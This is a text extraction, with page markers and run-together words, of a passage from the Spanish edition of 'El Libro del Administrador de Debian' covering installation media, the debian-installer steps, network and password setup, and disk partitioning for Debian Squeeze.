Figure 3.3. Instalando la versión deDebian adecuada

Page 268: El Libro Del Administrador de Debian - Raphael Hertzog

La Table 3.1 no pretende serexhaustiva, pero puede ser útil. Encualquier caso, la documentaciónoriginal para el equipo es la fuente más

Page 269: El Libro Del Administrador de Debian - Raphael Hertzog

confiable para encontrar estainformación.

HARDWARE La próxima generación dePC

La mayoría de los equipos recientes tieneprocesadores Intel o AMD de 64 bits,compatibles con los procesadoresantiguos de 32 bits; por lo tantofuncionará el software compilado para laarquitectura «i386». Por el otro lado, estemodo de compatibilidad no aprovechacompletamente las capacidades de estosnuevos procesadores. Es por esto queDebian provee software para laarquitectura «ia64» de los chips Itaniumde Intel y «amd64» para los chips deAMD. Esta última también funciona conprocesadores «em64t» de Intel, que son

Page 270: El Libro Del Administrador de Debian - Raphael Hertzog

muy similares a los procesadores AMD64.

Table 3.1. Emparejando sistemaoperativo y arquitectura

Sistema operativo Arquitectura(s)DEC Unix (OSF/1) alpha, mipselHP Unix hppaIBM AIX powerpcIrix mips

MacOS powerpc, m68k,i386, amd64

MVS s390

Solaris, SunOS sparc, m68k,i386

Ultrix mips

Page 271: El Libro Del Administrador de Debian - Raphael Hertzog

VMS alphaWindows NT i386, alpha,

mipselWindows XP /Windows Server2008

i386, ia64,amd64

Windows Vista /Windows 7 i386, amd64

3.2.5. Instalación yconfiguración de losservicios seleccionadosUna vez que Debian está instaladodebemos instalar y configurar, uno por

Page 272: El Libro Del Administrador de Debian - Raphael Hertzog

uno, todos los servicios que debe tenereste equipo. La nueva configuracióndebe tener en cuenta la anterior paraasegurar una transición fluida. Toda lainformación recolectada en losprimeros dos pasos es útil paracompletar esta parte exitosamente.

Figure 3.4. Instalación de losservicios seleccionados

Page 273: El Libro Del Administrador de Debian - Raphael Hertzog

Antes de sumergirse completamente eneste ejercicio es muy recomendableque lea el resto de este libro. Luegotendrá un entendimiento más precisode cómo configurar los serviciosesperados.

Page 274: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 4. InstalaciónPara utilizar Debian necesita instalarloen una máquina; el programa debian-installer se encarga de esta tarea. Unainstalación apropiada incluye muchastareas. Este capítulo las revisa en ordencronológico.

VOLVER A LOS CIMIENTOS Un cursoacelerado en los apéndices

Instalar un equipo siempre es más simplecuando uno conoce cómo funciona. Si nolo sabe, desvíese rápidamente alAppendix B, Curso breve de emergenciaantes de leer este capítulo.

Page 275: El Libro Del Administrador de Debian - Raphael Hertzog

El instalador para Squeeze está basadoen debian-installer. Su diseño modularle permite trabajar en varios escenariosy evolucionar y adaptarse a loscambios. A pesar de las limitacionesque implica la compatibilida con ungran número de arquitecturas, esteinstalador es muy accesible paraprincipiantes ya que asiste a losusuarios en cada paso del proceso. Ladetección automática de hardware, elparticionamiento guiado y la interfazgráfica de usuario solucionaron lamayoría de los problemas que debenenfrentar los novatos.

La instalación necesita 56 MB de RAM(siglas en inglés de «memoria de

Page 276: El Libro Del Administrador de Debian - Raphael Hertzog

acceso aleatorio») y al menos 650 MBde espacio en disco duro. Todos losequipos de Falco cumplen con dichocriterio. Es de notar, sin embargo, queestos números son aplicables en lainstalación de un sistema muy limitadosin un escritorio gráfico. Serecomienda un mínimo de 512 MB deRAM y 5 GB de disco duro en unequipo de escritorio para oficina.

CUIDADO Actualizando desde Lenny

Si ya tiene Debian Lenny instalado en sumáquina ¡este capítulo no es para usted!A diferencia de otras distribuciones,Debian permite actualizar un sistema deuna versión a la siguiente sin tener quereinstalarlo. Una reinstalación, además de

Page 277: El Libro Del Administrador de Debian - Raphael Hertzog

innecesaria, podría ser peligrosa ya quepuede eliminar programas ya instalados.

Describiremos el proceso deactualización en la Section 6.6,“Actualizando de una distribución establea la siguiente”.

4.1. Métodos deinstalaciónSe puede instalar un sistema Debiandesde diferentes medios siempre que lopermita el BIOS del equipo. Puedeiniciar desde un CD-ROM, una llaveUSB o inclusive desde la red.

Page 278: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS BIOS, lainterfaz hardware/software

BIOS (las siglas en inglés de «sistemabásico de entrada/salida») es un softwareque se encuentra en la placa madre (laplaca electrónica que conecta todos losperiféricos) y se ejecuta cuando arrancael equipo, para poder cargar el sistemaoperativo (por medio de un gestor dearranque adaptado). Se mantiene enejecución en segundo plano paraproporcionar una interfaz entre elhardware y el software (en nuestro caso,el núcleo Linux).

4.1.1. Instalación

Page 279: El Libro Del Administrador de Debian - Raphael Hertzog

desde CD-ROM/DVD-ROMEl medio de instalación más utilizadoes el CD-ROM (o DVD-ROM, que secomporta exactamente de la mismaforma): el equipo inicia desde estemedio y el programa de instalacióntoma el control.

Diferentes CD-ROMs tienen distintospropósitos: netinst («networkinstallation»: instalación por red)contiene el instalador y el sistema baseDebian, se descargarán luego todos losotros programas. Su «imagen», elsistema de archivos ISO-9660 que

Page 280: El Libro Del Administrador de Debian - Raphael Hertzog

contiene el contenido exacto del disco,sólo ocupa alrededor de 150 MB.Luego tenemos los CD-ROM«businesscard» o «bizcard» que sóloproveen el instalador y requieren quese descarguen todos los paquetesDebian (incluyendo el sistema base).Debido a que su imagen sólo ocupa 35MB puede grabarse en un CD-ROM detipo «business card» (tarjeta denegocios) del que obtuvo su nombre.Finalmente, el conjunto completoofrece todos los paquetes y permite lainstalación en un equipo sin acceso ainternet; requiere alrededor de 50 CD-ROMs (u ocho DVD-ROMs, o dosdicos Blu-ray). Pero los programas sedividen entre los discos según

Page 281: El Libro Del Administrador de Debian - Raphael Hertzog

popularidad e importancia; losprimeros tres discos deberían sersuficientes para la mayoría de lasinstalaciones ya que contienen elsoftware más utilizado.

SUGERENCIA Discos multiarquitectura

La mayoría de los CD-ROMs y DVD-ROMs de instalación sólo funcionan enuna arquitectura de hardware específica.Si desea descargar las imágenescompletas debe tener cuidado de elegiraquella que funcione en el hardware delequipo en el que desea instalarlo.

Algunas imágenes de CD/DVD-ROMpueden funcionar en varias arquitecturas.Tenemos una imagen de CD-ROM netinstpara las arquitecturas i386 y amd64.

Page 282: El Libro Del Administrador de Debian - Raphael Hertzog

También existe una imagen de DVD-ROMque contiene el instalador y una selecciónde paquetes binarios para i386 y amd64así como también los paquetes fuentecorrespondientes.

Para adquirir imágenes de CD-ROM deDebian puede, por supuesto,descargarlas y grabarlas en un disco.Puede también comprarlas y, de esaforma, proveer un poco de ayudafinanciera al proyecto. En el sitio webencontrará una lista de proveedores deimágenes de CD-ROM y sitios dondedescargarlas.

→ http://www.debian.org/CD/index.html

Page 283: El Libro Del Administrador de Debian - Raphael Hertzog

EN LA PRÁCTICA Debian en CD-ROM

También se pueden comprar CD/DVD-ROMs de Debian; Raphäel Hertzogpropone algunos en su blog, donde sedona al proyecto Debian el 10% de lasganancias y el resto le permite dedicarlemás tiempo a Debian.

→ http://www.debian.org/CD/vendors/

→ http://raphaelhertzog.com/go/debian-cd/

4.1.2. Arranque desdeuna llave USB

Page 284: El Libro Del Administrador de Debian - Raphael Hertzog

Como las máquinas recientes puedenarrancar desde dispositivos USB,también puede instalar Debian desdeuna llave USB (que no es mucho másque un pequeño disco de memoriaflash). Tenga cuidado ya que no todoslos BIOS son iguales, algunos puedenarrancar desde dispositivos USB 2.0mientras que otros sólo funcionaráncon USB 1.1. Además, la llave USBdebe tener sectores de 512 bytes y estacaracterística — aunque común —nunca está documentada en elempaquetado de las llaves queencontrará a la venta.

El manual de instalación explica cómocrear una llave USB que contenga

Page 285: El Libro Del Administrador de Debian - Raphael Hertzog

debian-installer. Se simplificó elprocedimiento significativamentedesde Squeeze, ya que las imágenesISO para arquitecturas i386 y amd64son imágenes híbridas que puedenarrancar tanto desde un CD-ROM comodesde una llave USB.

Primero debe identificar el nombre deperiférico de la llave USB (porejemplo: /dev/sdb; el método mássimple para hacerlo es revisar elmensaje generado por el núcleo con laorden dmesg. Luego debe copiar laimagen ISO ya descargada (porejemplo debian-6.0.0-amd64-i386-netinst.iso) con la orden cat debian-6.0.0-amd64-i386-netinst.iso

Page 286: El Libro Del Administrador de Debian - Raphael Hertzog

>/dev/sdb; sync. Esta orden necesitapermisos de administrador ya queaccede directamente a la llave USB yborra su contenido ciegamente.

Podrá encontrar una explicación másdetallada en el manual de instalación.Entre otras cosas, describe un métodoalternativo para preparar la llave USBque es más complejo pero permitemodificar las opcionespredeterminadas del instalador(aquellas definidas en la línea deórdenes del núcleo).

→ http://www.debian.org/releases/stable/i386/ch04s03.html

4.1.3. Instalando a

Page 287: El Libro Del Administrador de Debian - Raphael Hertzog

través de arranquepor redMuchos BIOS permiten arrancardirectamente desde la red descargandoel núcleo a iniciar. Este método (quetiene varios nombres como arranquePXE o TFTP) puede ser un salvavidassi el equipo no tiene una lectora de CD-ROM o si su BIOS no puede arrancarpor otros medios.

Este método de instalación funciona endos pasos. Primero, al arrancar elequipo, el BIOS (o la placa de red)hace un pedido BOOTP/DHCP paraadquirir una dirección IP

Page 288: El Libro Del Administrador de Debian - Raphael Hertzog

automáticamente. Cuando un servidorBOOTP o DHCP envía una respuesta,incluye un nombre de archivo ademásde la configuración de red. Luego deconfigurar la red, el equipo cliente haceun pedido TFTP (siglas en inglés de«protocolo trivial de transferencia dearchivos») para el archivo del nombreque recibió. Una vez que adquieredicho archivo, lo ejecuta como ungestor de arranque. Esto luego ejecutael programa de instalación de Debiancomo si lo hubiese cargado desde eldisco duro, un CD-ROM o una llaveUSB.

Todos los detalles de este método estándisponibles en la guía de instalación

Page 289: El Libro Del Administrador de Debian - Raphael Hertzog

(sección «Preparando los archivos paraarranque por red TFTP»).

→ http://www.debian.org/releases/stable/i386/ch05s01.html#boot-tftp→ http://www.debian.org/releases/stable/i386/ch04s05.html

4.1.4. Otros métodosde instalaciónCuando necesitamos desplegarinstalaciones personalizadas para unagran cantidad de equipos generalmenteelegimos un método de instalaciónautomático en lugar de uno manual.Dependiendo de la situación y lacomplejidad de las instalaciones

Page 290: El Libro Del Administrador de Debian - Raphael Hertzog

podemos utilizar FAI (siglas de«instalador completamenteautomático», descripto en laSection 12.3.1, “Instaladorcompletamente automático (FAI:«Fully Automatic Installer»)”) o un CDde instalación preconfigurado(«preseeding», revise la Section 12.3.2,“Presembrado de Debian-Installer”).

Page 291: El Libro Del Administrador de Debian - Raphael Hertzog

4.2. Instalación,paso a paso

4.2.1. Arranque einicio del instaladorUna vez que el BIOS comenzó elarranque desde el CD o DVD-ROMaparecerá el menú del gestor dearranque Isolinux. En esta etapa, elnúcleo Linux no está cargado aún; estemenú le permite elegir el núcleo aarrancar y posiblemente ingresar losparámetros a pasarle en el proceso.

Page 292: El Libro Del Administrador de Debian - Raphael Hertzog

Para una instalación estándar sólonecesita elegir «Instalación» o«Instalación gráfica» (con las flechas),luego presionar la tecla Enter parainiciar el resto del proceso deinstalación. Si el DVD-ROM es undisco multiarquitectura (como el queviene incluido en este libro) y el equipotiene un procesador Intel o AMD de 64bits, las opciones «Instalación 64 bits»y «Instalación gráfica 64 bits»permiten instalar la variante de 64 bits(amd64) en lugar de la versiónpredeterminada de 32 bits (i386). En lapráctica, la versión de 64 bits sólo esrelevante en un servidor, no en unaestación de escritorio, ya que suelecausar dificultades al utilizar cierto

Page 293: El Libro Del Administrador de Debian - Raphael Hertzog

software privativo que son publicadossólo en forma de binarios.

YENDO MÁS ALLÁ ¿32 o 64 bits?

La diferencia fundamental entre lossistemas de 32 y 64 bits es el tamaño delas direcciones de memoria. En teoría, unsistema de 32 bits no puede direccionarmás de 4 GB de RAM (232 bytes). En lapráctica, es posible superar estalimitación usando la variante 686-bigmemdel núcleo siempre que el procesador seacompatible con PAE (siglas en inglés de«extensión de direcciones físicas»). Sinembargo, usar esta funcionalidad tiene ungran impacto en el rendimiento delsistema. Por ello es conveniente usar elmodo de 64 bits en un servidor congrandes cantidades de RAM.

Page 294: El Libro Del Administrador de Debian - Raphael Hertzog

Para un equipo de oficina (donde unadiferencia en rendimiento de un pequeñoporcentaje es despreciable) debe tener encuenta que algunos programas privativosno tienen disponible versiones de 64 bits(por ejemplo, Skype y el plugin paramanejar applets Java en el navegador). Estécnicamente posible hacerlos funcionaren sistemas de 64 bits, pero tendrá queinstalar las versiones de 32 bits con lasbibliotecas necesarias y generalmenteutilizar setarch o linux32 (del paqueteutil-linux) o engañar a la aplicación sobrela naturaleza del sistema. Esto es muchotrabajo para una ganancia relativamentepequeña.

EN LA PRÁCTICA Instalación junto a unsistema Windows existente

Page 295: El Libro Del Administrador de Debian - Raphael Hertzog

Si el equipo ya ejecuta Windows, no esnecesario eliminar el sistema para poderinstalar Debian. Puede tener ambossistemas simultáneamente, cada unoinstalado en un disco o particiónseparado, y elegir cuál iniciar al momentode arrancar el equipo. Generalmente estaconfiguración es llamada «arranque dual»y el sistema de instalación de Debianpuede configurarla. Esto se realizadurante la etapa de particionado del discoduro de la instalación y durante laconfiguración del gestor de arranque(revise los recuadros en dichassecciones).

Si ya tiene un sistema Windowsfuncionando puede inclusive evitarutilizar un CD-ROM; Debian ofrece unprograma para Windows que descargaráun instalador Debian ligero y lo

Page 296: El Libro Del Administrador de Debian - Raphael Hertzog

configurará en el disco duro. Luego, sólonecesita reiniciar el equipo y seleccionarentre un arranque normal de Windows oiniciar el programa de instalación.También podrá encontrarlo en un sitioweb dedicado con un nombre bastanteexplícito...

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ http://www.goodbye-microsoft.com/

VOLVER A LOS CIMIENTOS Gestor dearranque

El gestor de arranque es un programa debajo nivel que es responsable de arrancarel núcleo Linux después que el BIOS lecede el control. Para encargarse de esta

Page 297: El Libro Del Administrador de Debian - Raphael Hertzog

tarea debe poder ubicar en el disco alkernel Linux a arrancar. Los programasmás utilizados en las arquitecturasi386/amd64 para esta tarea son LILO, elmás antiguo de los dos, y GRUB, uncontendiente moderno. Isolinux ySyslinux son alternativas utilizadasfrecuentemente para arrancar desdemedios removibles.

Cada elemento del menú esconde unalínea de órdenes específica para elarraque que puede ser configuradasegún sea necesario presionando latecla TAB antes de validarlo yarrancar. El menú «Ayuda» muestra lainterfaz de línea de órdenes antigua,donde las teclas F1 a F10 muestran

Page 298: El Libro Del Administrador de Debian - Raphael Hertzog

diferentes pantallas de ayuda quedetallan las opciones disponibles. Raravez necesitará utilizar esta opciónsalvo casos muy específicos.

El modo «experto» (disponible en elmenú «Opciones avanzadas») detallatodas las posibles opciones en elproceso de instalación y permitenavegar entre los varios pasos en lugarde que éstos ocurran de formaautomática y secuencial. Tengacuidado, este modo puede ser confusodebido a la cantidad de opciones deconfiguración que ofrece.

Figure 4.1. Pantalla de arranque

Page 299: El Libro Del Administrador de Debian - Raphael Hertzog

Una vez iniciado, el programa deinstalación le guiará a través delproceso paso a paso. Esta secciónpresenta cada uno de estos pasos endetalle. Seguiremos aquí el proceso deuna instalación desde un DVD-ROMmultiarquitectura; otros tipos de

Page 300: El Libro Del Administrador de Debian - Raphael Hertzog

instalación (netinst o businesscard)pueden ser ligeramente distintos.También abordaremos la instalación enmodo gráfico, pero sólo difiere de lainstalación «clásica» en su apariencia.

4.2.2. Selección delidiomaEl programa de instalación comienzaen inglés, pero en el primer paso delmismo se permite al usuario elegir elidioma que será utilizado durante elresto del proceso de instalación. Porejemplo, al elegir el idioma francés elproceso de instalación será traducido a

Page 301: El Libro Del Administrador de Debian - Raphael Hertzog

francés (y como resultado el sistemaconfigurado en francés). Esta elecciónse utiliza para definir opcionespredeterminadas más relevantes en lasfases subsiguientes del proceso deinstalación (como la distribución delteclado).

VOLVER A LOS CIMIENTOSNavegación mediante teclado

Algunos pasos del proceso de instalaciónrequieren que ingrese información. Estaspantallas tienen varias áreas que pueden«obtener el foco» (áreas de entrada detexto, cajas de confirmación, listas deopciones, botones para confirmar ocancelar) y la tecla TAB le permitemoverse de una a otra.

Page 302: El Libro Del Administrador de Debian - Raphael Hertzog

En el modo gráfico, puede usar el ratón.

Figure 4.2. Selección del idioma

Page 303: El Libro Del Administrador de Debian - Raphael Hertzog
Page 304: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.3. Selección delpaísEl segundo paso consiste en elegir supaís. Asociada con el idioma, esta

Page 305: El Libro Del Administrador de Debian - Raphael Hertzog

información le permite al programaofrecer la distribución de teclado másapropiada. También tendrá influenciaen la configuración de la zona horaria.En los Estados Unidos se sugerirá unteclado QWERTY estándar y lasopciones de zonas horarias apropiadas.

Figure 4.3. Selección del país

Page 306: El Libro Del Administrador de Debian - Raphael Hertzog
Page 307: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.4. Selección de ladistribución de tecladoEl teclado propuesto «AmericanEnglish» corresponde a la distribución

Page 308: El Libro Del Administrador de Debian - Raphael Hertzog

QWERTY usual.

Figure 4.4. Elección de teclado

Page 309: El Libro Del Administrador de Debian - Raphael Hertzog
Page 310: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.5. Detección dehardwareEste paso es completamenteautomático en la gran mayoría de los

Page 311: El Libro Del Administrador de Debian - Raphael Hertzog

casos. El instalador detecta suhardware e intenta identificar eldispositivo CD-ROM a utilizar paraacceder a su contenido. Carga losmódulos correspondientes a loscomponentes de hardware detectados yluego «monta» el CD-ROM para poderleerlo. Los pasos previos estabancompletamente contenidos en laimagen incluida en el CD, un archivode tamaño limitado y cargado enmemoria por el BIOS al arrancar desdeel CD.

El instalador funciona con la granmayoría de los dispositivos,especialmente periféricos estándarATAPI (a veces llamados IDE y EIDE).

Page 312: El Libro Del Administrador de Debian - Raphael Hertzog

Sin embargo, si falla la detección de lalectora de CD-ROM, el instaladorofrecerá la opción de cargar losmódulos para el núcleo (por ejemplodesde una llave USB) que correspondenal controlador del CD-ROM.

4.2.6. Carga decomponentesCon los contenidos del CD disponibles,el instalador descarga todos losarchivos necesarios para continuar consu trabajo. Esto incluye controladoresadicionales para el resto del hardware(especialmente la placa de red) así

Page 313: El Libro Del Administrador de Debian - Raphael Hertzog

como también todos los componentesdel programa de instalación.

4.2.7. Detección dehardware de redEste paso automático intentaidentificar la placa de red y cargar elmódulo correspondiente. Si falla ladetección automática puede seleccionarel módulo a cargar manualmente. Si nofunciona ningún módulo es posiblecargar un módulo específico deperiféricos removibles. Esta últimasolución generalmente sólo esnecesaria cuando el controlador

Page 314: El Libro Del Administrador de Debian - Raphael Hertzog

adecuado no está incluido en el núcleoLinux estándar pero está disponible enotro lado, como el sitio web delfabricante.

Este paso tiene que ser exitosoobligatoriamente para las instalacionesnetinst o businesscard ya que se debencargar los paquetes Debian desde lared.

4.2.8. Configuraciónde redEl instalador, intentando automatizar elproceso tanto como sea posible, intentaconfigurar la red de forma automática

Page 315: El Libro Del Administrador de Debian - Raphael Hertzog

con DHCP. Si eso falla ofrece másopciones: intentar nuevamente con unaconfiguración DHCP normal, intentaruna configuración DHCP declarando elnombre del equipo o configurar la redde forma estática.

La última opción necesita unadirección IP, una máscara de red, unadirección IP para una posible puerta deenlace, un nombre de equipo y unnombre de dominio.

SUGERENCIA Configuración sin DHCP

Si la red local tiene un servidor DHCP queno desea utilizar porque prefiereconfigurar una dirección IP estática parael equipo durante la instalación, puede

Page 316: El Libro Del Administrador de Debian - Raphael Hertzog

agregar la opción netcfg/use_dhcp=falseal arrancar desde el CD-ROM. Sólonecesita seleccionar el elemento del menúque desea utilizar, presionar la tecla TABy agregar esta opción antes de presionarla tecla Enter.

CUIDADO No improvise

Muchas redes locales están basadas en lapremisa implícita que se puede confiar entodos los equipos, la configuracióninadecuada en un sólo equipogeneralmente perturbará toda la red.Como resultado, no conecte su equipo auna red sin antes acordar lasconfiguraciones adecuadas con eladministrador (por ejemplo, la direcciónIP, máscara de red y dirección dedifusión).

Page 317: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.9. Configuracióndel relojSi la red se encuentra disponible, elreloj interno del sistema es actualizado(por única vez) desde un servidor NTP.De esta forma, la marcas temporales enlos registros serán correctas desde elprimer arranque. Para que semantengan consistentes en el tiempo esnecesario configurar un demonio NTPluego de la instalación inicial (revise laSection 8.9.2, “Sincronización detiempo”).

Page 318: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.10. Contraseña deladministradorLa cuenta de súperusuario «root»,reservada para el administrador delequipo, será creada automáticamentedurante la instalación; por ello sesolicita una constraseña. Unaconfirmación (o dos entradas idénticas)previenen cualquier error en la entradaque luego sería difícil de corregir.

Figure 4.5. Contraseña deladministrador

Page 319: El Libro Del Administrador de Debian - Raphael Hertzog

SEGURIDAD Contraseña deladministrador

La contraseña del usuario root debería serlarga (6 caracteres o más) e imposible deadivinar. De hecho, cualquier equipo (ycualquier servidor a fortiori) conectado ainternet es objetivo regular de intentos

Page 320: El Libro Del Administrador de Debian - Raphael Hertzog

automáticos de conexión con lascontraseñas más obvias. A vecesinclusive será sujeto a ataques dediccionario en el que se probarán comocontraseña muchas combinaciones depalabras y números. Evite utilizarnombres de hijos o padres, fechas denacimiento, etc.: muchos de suscompañeros de trabajo podríanconocerlos y rara vez deseará proveerlesacceso libre al equipo en cuestión.

Estos comentarios son igualmenteaplicables para contraseñas de otrosusuarios, pero las consecuencias de unacuenta comprometida son menos drásticaspara usuarios sin permisos deadministración.

Si le falta inspiración no dude en utilizargeneradores de contraseñas como pwgen

Page 321: El Libro Del Administrador de Debian - Raphael Hertzog

(en el paquete del mismo nombre).

4.2.11. Creación delprimer usuarioDebian también impone la creación deuna cuenta de usuario estándar para queel administrador no adquiera el malhábito de trabajar como root. La normabásica de precaución significaesencialmente que se realiza cada tareacon los permisos mínimos necesariospara limitar el daño que pueda causarun error humano. Es por esto que elinstalador pedirá el nombre completo

Page 322: El Libro Del Administrador de Debian - Raphael Hertzog

de su primer usuario, su nombre deusuario y su contraseña (dos veces paraevitar el riesgo de entradas erróneas).

Figure 4.6. Nombre del primerusuario

Page 323: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.12. Detección dediscos y otrosdispositivos

Page 324: El Libro Del Administrador de Debian - Raphael Hertzog

Este paso detecta automáticamente losdiscos duros en los que se podríainstalar Debian. Serán presentados enel próximo paso: particionado.

4.2.13. Inicio de laherramienta departicionado

CULTURA Usos del particionado

El particionado, un paso indispensable enla instalación, consiste en dividir elespacio disponible en los discos duros(cada subdivisión de los mismos esllamada «partición») según los datos que

Page 325: El Libro Del Administrador de Debian - Raphael Hertzog

serán almacenados en él y el usopropuesto para el equipo. Este pasotambién incluye elegir los sistemas dearchivo que serán utilizados. Todas estasdecisiones influirán en el rendimiento, laseguridad de los datos y el administradordel servidor.

El paso de particionado estradicionalmente difícil para usuariosnuevos. Se necesita definir la variasporciones del disco (o «particiones»)en el que se almacenarán los sistemasde archivos Linux y la memoria virtual(«swap»). Esta tarea es máscomplicada si el equipo ya posee otrosistema operativo que desea conservar.Efectivamente, tendrá que asegurarse

Page 326: El Libro Del Administrador de Debian - Raphael Hertzog

de modificar sus particiones (o que lasredimensione sin causar daños).

Afortunadamente, el software departicionado tiene un modo «guiado»que recomienda las particiones quedebe crear el usuario — en la mayoríade los casos puede simplementeaceptar las sugerencias del software.

Figure 4.7. Elección del modo departicionado

Page 327: El Libro Del Administrador de Debian - Raphael Hertzog

La primera pantalla en la herramientade particionado ofrece la opción deutilizar un disco duro completo paracrear varias particiones. Para un equipo(nuevo) que sólamente utilizará Linuxesta es claramente la más simple, ypuede elegir la opción «Guiado -

Page 328: El Libro Del Administrador de Debian - Raphael Hertzog

utilizar todo el disco». Si el equipotiene dos discos duros para dossistemas operativos, definir un discopara cada uno también es una soluciónque facilitará el particionado. Enambos casos, la pantalla siguiente leofrecerá elegir el disco en el queinstalar Linux seleccionando la opcióncorrespondiente (por ejemplo «SCSI3(0,0,0) (sda) - 12.9 GB ATA VBOXHARDDISK»). Luego comenzará elparticionado guiado.

Figure 4.8. Disco a utilizar para elparticionado guiado

Page 329: El Libro Del Administrador de Debian - Raphael Hertzog

El particionado guiado también puedeconfigurar volúmenes lógicos LVM enlugar de particiones (revise másadelante). Ya que el resto delfuncionamiento es el mismo, noentraremos en los detalles de la opción«Guiado - utilizar todo el disco duro y

Page 330: El Libro Del Administrador de Debian - Raphael Hertzog

configurar LVM» (cifrado o no).

En otros casos, cuando Linux debatrabajar junto a otras particionespreexistentes, necesitará seleccionar elparticionado manual.

4.2.13.1. Particionadoguiado

La herramienta de particionado guiadoofrece tres métodos de particionadoque corresponden a distintos usos.

Figure 4.9. Particionado guiado

Page 331: El Libro Del Administrador de Debian - Raphael Hertzog

El primer método es llamado «Todo enuna partición». El árbol completo delsistema Linux será almacenado en unsólo sistema de archivos quecorresponde con el directorio raíz /.Este particionado simple y robusto esadecuado para sistemas personales o

Page 332: El Libro Del Administrador de Debian - Raphael Hertzog

con un sólo usuario. De hecho, secrearán dos particiones: la primeratendrá el sistema completo y lasegunda la memoria virtual (swap).

El segundo método, «Partición /home/separada» es similar pero divide lajerarquía de archivos en dos: unapartición contiene el sistema Linux (/)y la segunda contiene los «directoriosde usuario» (es decir, los datos deusuarios, en archivos y subdirectoriosdisponibles en /home/).

El último método de particionado,llamado «Particiones /home, /usr,/var y /tmp separadas» es apropiadapara servidores y sistemas

Page 333: El Libro Del Administrador de Debian - Raphael Hertzog

multiusuario. Divide el árbol dearchivos en muchas particiones:además de las particiones para la raíz(/) y las cuentas de usuario (/home/),también creará particiones paraaplicaciones (/usr/), datos de softwarede servidor (/var/) y archivostemporales (/tmp/). Estas divisionestiene varias ventajas. Un usuario nopodrá bloquear el servidorconsumiendo todo el espaciodisponible en el disco duro (sólopueden llenar /tmp/ y /home/). Losdatos de demonios (especialmenteregistros) tampoco podrán trabar elresto del sistema.

VOLVER A LOS CIMIENTOS Elección

Page 334: El Libro Del Administrador de Debian - Raphael Hertzog

de un sistema de archivos

Un sistema de archivos define la forma enla que se organizan los datos en el discoduro. Cada sistema de archivos existentetiene sus méritos y limitaciones. Algunosson más robustos, otros más efectivos: siconoce bien sus necesidades es posibleelegir el sistema de archivos másapropiado. Ya se han realizado muchascomparaciones; parecería que ReiserFS esparticularmente eficiente para leermuchos archivos pequeños; XFS, encambio, trabaja más rápido con archivosgrandes. Ext3, el sistema de archivospredeterminado para Debian, es un buencompromiso basado en las dos versionesanteriores de sistemas de archivosutilizados en Linux históricamente (ext yext2). También puede elegir su sucesorext4, que supera algunas limitaciones de

Page 335: El Libro Del Administrador de Debian - Raphael Hertzog

ext3 y es particularmente apropiado paradiscos duros de gran capacidad. Si esparticularmente valiente podríaexperimentar con el prometedor btrfs queincluye muchas funcionalidades querequerirían, al día de hoy, utilizar LVMy/o RAID.

Un sistema de archivos con registros(como ext3, ext4, btrfs, reiserfs o xfs)toma medidas especiales que posibilitanvolver a un estado consistente anteriorluego de una interrupción abrupta sinanalizar completamente el disco entero(como era el caso con el sistema ext2).Esta funcionalidad se lleva a cabomanteniendo un registro que describe lasoperaciones a realizar antes que seanejecutadas. Si se interrumpe unaoperación será posible «reproducirla»desde el registro. Por el otro lado, si la

Page 336: El Libro Del Administrador de Debian - Raphael Hertzog

interrupción ocurre durante unaactualización del registro, simplemente seignora el último cambio solicitado; losdatos almacenados podrían perderse pero,como los datos en el disco no hancambiado, se mantuvieron coherentes.Esto es nada más y nada menos que elmecanismo transaccional aplicado alsistema de archivos.

Luego de elegir el tipo de la partición,el software calculará una sugerencia yla describirá en la pantalla; el usuariopodrá modificarla si es necesario.Puede, en particular, elegir otrosistema de archivos si la opciónestándar (ext3) no es apropiada. En lamayoría de los casos, sin embargo, el

Page 337: El Libro Del Administrador de Debian - Raphael Hertzog

particionado propuesto es razonable yse lo puede aceptar seleccionando laopción «Finalizar particionado yescribir cambios al disco».

Figure 4.10. Validación delparticionado

Page 338: El Libro Del Administrador de Debian - Raphael Hertzog

4.2.13.2. Particionadomanual

El particionado manual provee mayorflexibilidad, permitiéndole al usuarioseleccionar el propósito y tamaño de

Page 339: El Libro Del Administrador de Debian - Raphael Hertzog

cada partición. Lo que es más, estemodo es inevitable si desea utilizarRAID por software.

EN LA PRÁCTICA Reduciendo unapartición Windows.

Para instalar Debian junto a un sistemaoperativo existente (Windows u otro),debe tener espacio disponible en el discoduro que no sea utilizado por el otrosistema para poder crear las particionesdedicadas a Debian. En la mayoría de loscasos esto significa reducir una particiónWindows y reutilizar el espacio liberado.

El instalador Debian permite estaoperación si utiliza el modo departicionado manual. Sólo necesitaráelegir la partición Windows e ingresar su

Page 340: El Libro Del Administrador de Debian - Raphael Hertzog

nuevo tamaño (esto funciona igual tantoen particiones FAT como NTFS).

La primera pantalla mostrará los discosdisponibles, sus particiones y cualquierespacio libre posible que no haya sidoparticionado aún. Puede seleccionarcada elemento mostrado; presionar latecla Enter mostrará una lista con lasacciones posibles.

Puede borrar todas las particiones enun disco al seleccionarlo.

Al seleccionar el espacio libre en undisco puede crear una nueva particiónmanualmente. También puede hacerlocon el particionado guiado, que es una

Page 341: El Libro Del Administrador de Debian - Raphael Hertzog

solución interesante para un disco queya contiene otro sistema operativo peroque podría desear particionar paraLinux de forma estándar. Revisa lasección anterior para más detallessobre el particionado guiado.

VOLVER A LOS CIMIENTOS Punto demontaje

El punto de montaje es el árbol dedirectorios que albergará el contenido delsistema de archivos en la particiónseleccionada. Por lo tanto, una particiónmontada en /home/ generalmente estádestinada a contener la información delos usuarios.

Cuando el directorio se llama «/» esllamada «raíz» («root») del árbol de

Page 342: El Libro Del Administrador de Debian - Raphael Hertzog

archivos y, por lo tanto, la raíz de lapartición que contendrá el sistema Debianen sí.

VOLVER A LOS CIMIENTOS Memoriavirtual, «swap»

La memoria virtual le permite al núcleoLinux, cuando no tiene suficientememoria (RAM), liberar parte de ellaalmacenando las partes de la RAM quehan estado inactivas por un tiempo en lapartición swap del disco duro.

Para simular la memoria adicionalWindows utiliza un archivo swap que seencuentra directamente en el sistema dearchivos. Por otro lado, Linux utiliza unapartición dedicada a este propósito, de ahíel término «partición swap».

